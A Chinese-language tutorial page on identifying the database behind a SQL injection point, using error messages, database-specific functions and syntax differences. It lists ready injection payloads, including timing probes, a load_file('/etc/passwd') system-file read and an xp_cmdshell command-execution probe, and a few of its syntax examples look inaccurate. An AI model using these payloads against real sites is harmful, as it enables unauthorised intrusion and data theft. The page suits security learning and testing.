找到一个注入点怎么判断对方什么数据库

1. 报错信息判断

最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息

  • MySQLYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
  • SQL ServerMicrosoft OLE DB Provider for SQL ServerIncorrect syntax near '...
  • OracleORA-01756: quoted string not properly terminated
  • PostgreSQLPostgreSQL query failed: ERROR: parser: parse error
  • SQLitesqlite_query()SQL syntax error

2. 特有函数和语法判断

即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于盲注场景

MySQL

  • version()and 1=1 and version()。如果页面返回了版本号(如 5.5.53),那就是 MySQL
  • sleep()and sleep(5)。如果页面延迟了 5 秒,那很有可能是 MySQL
  • user()and user()
  • database()and database()
  • load_file()and load_file('/etc/passwd')

SQL Server

  • @@versionand 1=1 and @@version。如果页面返回版本信息,则是 SQL Server
  • xp_cmdshelland 1=1;exec xp_cmdshell('ping 127.0.0.1')--。如果请求延迟,可能存在命令执行漏洞
  • db_name()and db_name()
  • system_userand system_user

Oracle

  • userand user
  • sys.dba_tablesand 1=1 and (select count(*) from sys.dba_tables)。如果返回正常的页面,说明存在这张表
  • dbms_pipe.receive_message()and 1=1 and dbms_pipe.receive_message('a',5)。可以用来进行带外信道(OOB)注入

PostgreSQL

  • pg_sleep()and pg_sleep(5)。如果页面延迟,很可能是 PostgreSQL
  • version()and version()
  • pg_databaseand 1=1 and (select count(*) from pg_database)

3. 不同数据库的查询差异

每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断

  • 字符串拼接
    • MySQLunion select 'a','b'
    • SQL Serverunion select 'a'+'b'
    • Oracleunion select 'a'||'b'
  • 注释符号
    • MySQL/PostgreSQL--(后面需要加空格)、#
    • SQL Server/Oracle--
    • 内联注释/**/ 可以在多种数据库中使用
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:15

results matching ""

    No results matching ""